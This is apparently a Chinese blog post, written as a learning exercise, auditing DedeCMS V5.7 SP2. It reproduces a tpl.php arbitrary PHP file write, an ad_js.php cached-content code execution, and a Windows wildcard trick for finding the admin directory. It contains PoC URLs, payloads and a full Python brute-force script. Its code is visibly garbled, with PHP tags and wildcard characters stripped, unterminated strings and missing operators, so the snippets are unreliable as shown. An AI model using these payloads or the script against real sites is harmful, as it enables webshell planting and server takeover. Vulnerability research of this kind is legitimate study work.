代码审计入门级Dedecms的分析复现

Dedecms的洞有很多,而最新版的v5.7 sp2更新也止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后懵懵懂懂,一次偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码,希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正。

环境
php5.45 + mysql审计对象:DedeCMS V5.7 SP2工具:seay源码审计

后台代码执行
漏洞描述
DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell
代码审计
漏洞位置:dede/tpl.php
看一下核心代码:
# /dede/tpl.php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
$action = isset($action) trim($action) : '';
......
if(empty($filename)) $filename = '';
$filename = preg_replace("#[/]#", '', $filename);
......
else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}.lib.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#.lib.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
......
}
因为dedecms全局变量注册(register_globals=on),这里有两个可控变量$filename&$content
action=savetag时,进行csrf()检测
function csrf_check()
{
global $token;
if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
echo 'DedeCMS:CSRF Token Check Failed!';
exit;
}
}
验证token和已知的session是否相等,那么token的值从何获取呢?
回溯tpl.php,追踪一下token:
else if ($action == 'upload')
{
....
'acdir' type='hidden' value='$acdir' />
'token' type='hidden' value='{$_SESSION['token']}' />
'upfile' type='file' id='upfile' style='width:380px' />
}
当action=upload时,隐藏表单的value提交token值

token搞定了,再让我们继续往下审~
$truefile = DEDEINC.'/taglib/'.$filename;
传入的filename必须为 xxxx.lib.php,并且保存的也是php文件
fwrite($fp, $content);
fclose($fp);
写入内容为$content…那岂不是为所欲为..poc:
http://localhost/dedecms/uploads/dede/tpl.phpaction=savetagfile&filename=hpdoger.lib.php&content= phpinfo();>&token=55f2eb0ad241e1893276ed1f8e7dd5fa
在include/taglib下会产生相应xxx.lib.php

后台代码执行Getshell
代码审计
问题代码位于:/uploads/plus/ad_js.php
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime 'starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
$adbody = str_replace('"', '"',$adbody);
$adbody = str_replace("r", "r",$adbody);
$adbody = str_replace("n", "n",$adbody);

$adbody = "{$adbody}");rn-->rn";
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);
}
include $cacheFile;
摘出关键语句:
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
要求$nocache存在,又可以利用前面的全局变量注册
往下走Getone()函数进行sql查询,返回一个结果集。
而后把取到的值和当前的时间点对比作为判断条件,决定取表中的normbody还是exbody赋值给$adbody。
接着就比较明朗了..将$adbody写入文件,而文件名我们抓包应该就可以知道。
但是这里我只看了这一个文件,现在整理一下思路:1、给出一个$aid进行sql查询2、根据查询值判断写文件,且文件内容可控,目录已知3、最后把写入的文件包含进来。
那么,我们这个$aid从何处传入数据库呢?随着这个思路追踪文件到:/dede/ad_add.php
一个编辑页面,抓包看一下键值对应,顺便瞅一眼mysql载入的数据

看到这里知道,清楚exbody和normbody对应的都是什么了
依据代码$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");查看dede__myad这个库插入的内容:

看到timeset=0,回溯代码,那么直接是取$adbody = $row['normbody'];这段执行。其实timeset何时都为0,浏览ad_add.php代码部分看到,存入数据库的timeset值就为0,语句如下,$timeset定义为0
$query = "
INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
ok 要读懂流程,才能开始复现
复现
我们之前已经保存过一个页面了,直接poke一下http://localhost/dedecms/uploads/plus/ad_js.phpaid=1看看

查看写入文件:http://localhost/dedecms/uploads/data/cache/myad-1.htm注意拼接变量名

htm文件成功写入,我们回到Ad_js来执行一下任意代码。不要忘记闭合前面的document文档注释语句payload:
hpdoger=echo '-->'; phpinfo();


winapi查找后台目录
利用条件
1、win系统下搭建的网站2、网站后台目录存在/images/adminico.gif
基础知识
windows环境下查找文件基于Windows FindFirstFile的winapi函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
利用方法很简单,我们只要将文件名不可知部分之后的字符用“”代替即可,不过要注意的一点是,只使用一个“”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1”都是访问不到文件的,需要“1
审计
核心文件:common.inc.php
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
追踪uploadsafe.inc.php
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
if(empty(${$_key.'_size'}))
{
${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
//问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
摘出这句:
$image_dd = @getimagesize($$_key);
进行判断$$_key是否为图片或图片是否存在
然而$$_key的来源是$_FILES[$_key][‘tmp_name’],上文说了全局变量注册,$FILE可控,那我们传入一个$_FILES[$_key][‘tmp_name’]亦可控,此处是产生了一个变量覆盖的
接着再看同文件的代码
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
其中,$cfg_not_allowall的范围如下:
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
既然上传的name不让以这些结尾,那么我们查.gif不过分吧
找一处验证以下这个核心文件产生的小漏洞:


POC
_FILES[hpdoger][tmp_name]=./ded0&_FILES[hpdoger][size]=0&_FILES[hpdoger][type]=image/gif
这个poc根据mochazz师傅的poc练手写的,膜mochazz师傅~:
# -*- coding: utf-8 -*-
from itertools import permutations
import requests
def guess_back_dir(url,data,characters):
for num in range(1,5):
for every in permutations(characters,num):
payload = ''.join(every)
data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p = payload)
print("testing:",payload)
r = requests.post(url,data = data)
if find_page(r) > 0:
print("back_dir:[+]",payload)
data["_FILES[hpdoger][tmp_name]"] = "./{p}
return payload
data["_FILES[hpdoger][tmp_name]"] = "./{p}
def guess_rest_dir(back_dir,url,data,characters):
while True:
for singel in characters:
if singel != characters[-1]:
data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p=back_dir + singel)
r = requests.post(url,data = data)
# print data
if find_page(r) > 0:
print("guess successfully[+]:",back_dir)
back_dir += singel
data["_FILES[hpdoger][tmp_name]"] = "./{p}
break
data["_FILES[hpdoger][tmp_name]"] = "./{p}
else:
return back_dir
def find_page(response):
if "Upload filetype not allow !" not in response.text and response.status_code == 200:
return 1
def main():
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
url = raw_input("Please input your target:")
data = {
"_FILES[hpdoger][tmp_name]": "./{p},
"_FILES[hpdoger][name]": 0,
"_FILES[hpdoger][size]": 0,
"_FILES[hpdoger][type]": "image/gif"
}
back_dir = guess_back_dir(url,data,characters)
name = guess_rest_dir(back_dir,url,data,characters)
print("The background address is[+]:",name)
if __name__ == '__main__':
main()
最后穿插一个关于FILE变量的小知识点
$_FILES[“file”][“name”] – 被上传文件的名称$_FILES[“file”][“type”] – 被上传文件的类型$_FILES[“file”][“size”] – 被上传文件的大小,以字节计$_FILES[“file”][“tmp_name”] – 存储在服务器的文件的临时副本的名称$_FILES[“file”][“error”] – 由文件上传导致的错误代码